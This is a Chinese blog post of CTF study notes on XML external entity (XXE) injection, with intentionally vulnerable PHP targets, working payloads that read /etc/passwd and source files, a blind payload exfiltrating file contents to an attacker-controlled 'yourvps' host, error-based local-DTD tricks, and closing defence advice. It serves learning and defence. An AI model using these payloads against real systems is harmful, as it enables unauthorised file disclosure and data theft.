XXE总结笔记

XXE在现在比赛中出现的比较少,所以不是很熟练,趁着最近赶紧恶补一下XXE

什么是XXE

XXE:XML External Entity 即XML外部实体注入攻击。是由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体,通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地的文件内容,导致了XXE漏洞。漏洞形成的标志性函数:例如PHP中的simplexml_load_string或者simplexml_load_file,默认情况下都会解析外部实体。

XML实体

XML的基本语法与html很类似,与html的区别只在于XML主要用来传输存储数据,而HTML则是用来显示数据

要了解XXE,主要关注的是xml实体的定义:DTD

DTD的学习具体可以参考:https://www.w3school.com.cn/dtd/dtd_entities.asp

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

1
<!DOCTYPE 根元素 [元素声明]>

外部实体与内部实体

xml实体可以分为外部内部实体

内部实体与外部实体的区别,从语法上来看:

1
2
<!ENTITY 实体名称 "实体的值"> //定义内部实体
<!ENTITY 实体名称 SYSTEM "URI/URL"> //定义外部实体

示例:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8" ?> //xml声明
<!DOCTYPE test [ //DTD部分
<!ENTITY test1 "test1"> //内部实体
<!ENTITY test2 SYSTEM "http://example.com/1.dtd"> //外部实体
]>
<test>&test1;&test2;</test> //xml部分

一般实体和参数实体

xml实体还可以分为一般参数实体

(1)一般实体的声明:<!ENTITY 实体名称 "实体内容">

引用一般实体的方法:&实体名词;

一般实体既可以在DTD部分中引用,也可以在XML部分中引用

(2)参数实体的声明:<!ENTITY % 实体名称 "实体内容">

引用参数实体的方法:%实体名称;

参数实体只能DTD部分中引用

示例:

1
2
3
4
5
6
7
<?xml version = "1.0" encoding = "utf-8" ?> //xml声明
<!DOCTYPE test [ //DTD部分
<!ENTITY test1 "test1"> //一般实体
<!ENTITY % test2 SYSTEM "file:///etc/passwd"> //参数实体
%test2; //引用参数实体
]>
<test>&test1;</test> //xml部分

另外参数实体还能嵌套定义,但是要注意内层定义的参数实体%需要进行HTML转义,否则会出现解析错误

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % para '<!ENTITY &#x25; files SYSTEM "file:///etc/passwd">'>
]>

XXE利用

漏洞利用的简单靶机在线环境:https://www.vulnspy.com/phpaudit-xxe/

有回显的xxe

首先准备一个简单的具有XXE漏洞的php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
ob_start();
var_dump($xml);
$resp = ob_get_contents();
ob_end_clean();
echo htmlspecialchars($resp);
}
?>

代码很简单,漏洞的触发点就是simplexml_load_string这个函数,他能允许我们通过DTD来定义外部实体

写入payload:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>

简单的定义了一个外部实体test,通过file协议来读取服务器端本机的文件

因为服务器端代码:echo htmlspecialchars($resp);,所以执行的结果能回显

无回显的xxe

既然上面的例子是因为echo htmlspecialchars($resp);这句代码所以才有回显,那么把这段代码去掉,就变成了无回显。那么,是不是就不能进行xxe了呢,答案是否定的,虽然靶机没有返回给我们数据,但是我们可以把数据带到我们自己的服务器上。

靶机代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['s'])){
show_source(__FILE__);
exit;
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
if($xml && isset($xml->name)){
$name = $xml->name;
}
echo isset($name)?'ok':'error';
}
?>

可以看到,现在正常情况下,只会返回给我们ok,即有查询结果,但是不会告诉我们结果是什么

我们传入如下的payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://yourvps/evil.xml">
%dtd;
%send;
]>
<abc></abc>

然后在自己的vps上的evil.xml写入:

1
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://yourvps/?content=%file;'>"> %payload;

注意,因为这里是参数实体payload嵌套定义参数实体send,所以被嵌套定义的参数实体%一定要HTML编码为:&#x25;

如此一来,调用的过程就变成了:参数实体dtd通过http协议来访问vps上的evil.xml,然后返回evil.xml的内容,调用了参数实体payload,然后payload又调用了参数实体sendsend的作用就是把参数实体file(即文件/etc/passwd的base64编码内容)发送到我们的vps上

那么为什么不能把<!ENTITY &#x25; send SYSTEM 'http://yourvps/?content=%file;'>payload的DTD里呢,这是因为:在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。 所以,参数实体引用%file;必须放在外部文件里 。

但是,如果目标靶机不允许我们访问外网,那么就需要用到另一种方法:利用本地dtd文件重新定义参数实体产生报错从而回显信息。这种方法我们后面结合实际例题来说明。

ctf例题

api调用

题目地址:http://web.jarvisoj.com:9882/

抓包发现提交的是json数据

那么就很存在xxe,先试着看看能不能解析xml标签

修改头部字段:Content-Type: application/xml,然后任意发送标签<a>123</a>

发现服务器成功解析,说明是有回显的xxe,那么直接发送读取flag文件的payload即可:

1
2
3
4
5
<?xml version = "1.0" encoding = "utf-8" ?>
<!DOCTYPE ANY[
<!ENTITY name SYSTEM "file:///home/ctf/flag.txt">
]>
<a>&name;</a>

who_are_you

题目来源:2019 网络与信息安全领域专项赛线上赛

查看源码发现了xml提交的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script type="text/javascript">
function play() {
return false;
}
function func() {
// document.getElementById().value
var xml = '' +
'<\?xml version="1.0" encoding="UTF-8"\?>' +
'<feedback>' +
'<author>' + document.getElementById('name').value+ '</author>' +
'</feedback>';
console.log(xml);
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
// console.log(xmlhttp.readyState);
// console.log(xmlhttp.responseText);
var res = xmlhttp.responseText;
document.getElementById('title').textContent = res
}
};
xmlhttp.open("POST", "index.php", true);
xmlhttp.send(xml);
return false;
};
</script>

看到xml自然就想到了尝试xxe攻击,

不过要注意这里规定了提交标签的格式要带有:

1
'<feedback>'+'<author>'+document.getElementById('name').value+ '</author>' +  '</feedback>';

所以构造payload:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author[
<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<feedback><author>&name;</author></feedback>

但是尝试了file:///var/www/html/index.php等路径读不到index.php

于是就想到用php伪协议来读源码,就不需要知道绝对路径了

payload如下:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author[
<!ENTITY name SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<feedback><author>&name;</author></feedback>

读完base64解码后发现flag就在源码里面

LookAround

题目来源:2019 ogeek ctf线上赛

查看源码发现有个后台定时发送xml数据

应该是考察xxe

尝试分别读取存在和不存在的文件,发现不存在时有报错信息,存在时没有回显信息

既然有查询到结果却没有回显,说明这题是考察blind xxe

blind xxe思想就是将数据通过外部服务器或者报错信息带出来

首先尝试http协议,发现访问不了外部服务器,会出现超时的情况

那么只能考虑第二种,利用本地dtd文件重新定义其内部参数实体引起报错,通过报错信息带出我们想要的数据

首先就要猜出本地dtd文件的绝对路径

参考:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation

将里面的所有dtd文件的绝对路径尝试一遍,发现了本题dtd文件路径:

/usr/share/xml/fontconfig/fonts.dtd

重新定义其中的参数实体expr,然后在该实体中调用一个参数实体evaleval再调用一个参数实体error通过file协议访问一个不存在的文件,产生报错信息。报错信息中就包含了参数实体file读取我们需要文件的内容,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message></message>

flag就在报错信息中

[GoogleCTF2019 Quals]Bnv

复现地址:https://buuoj.cn

在源码的post.js中发现了xml请求代码:

1
2
3
4
var url = '/api/search';
xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-type', 'application/json');

抓包仍然是提交一个json数据,

老办法,先修改头部字段Content-Type: application/xml,然后试着通过DTD去声明一个message元素:

1
2
3
4
5
<?xml version = "1.0" encoding = "utf-8" ?>
<!DOCTYPE message[
<!ELEMENT message ANY >
]>
<message>135601360123502401401250</message>

如果未声明message元素的话,服务器会返回:No declaration for element message的报错信息

成功返回查询结果

然后尝试读取文件:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8" ?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<message>&name;</message>

同样,我们读取一个不存在的文件时:

出现了报错信息,说明这是一个没有回显的xxe,并且同样禁用了http协议

那么,我们就要尝试去寻找本地dtd文件:

本题目存在ubuntu系统自带的/usr/share/yelp/dtd/docbookx.dtd文件,docbookx.dtd文件具有ISOamso实体,我们可以重新定义它,触发错误信息

传入payload:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;test&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

最后读取flag:

XXE防御

  • 使用开发语言提供的禁用外部实体的方法:
1
2
3
4
5
6
7
8
9
10
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤用户提交的XML数据关键词:<!DOCTYPE<!ENTITY,或者,SYSTEMPUBLIC

参考

XXE(XML External Entity attack)XML外部实体注入攻击

Blind-XXE与Google CTF 2019-BNV

未知攻焉知防——XXE漏洞攻防

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/11/06/XXE%E6%80%BB%E7%BB%93/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog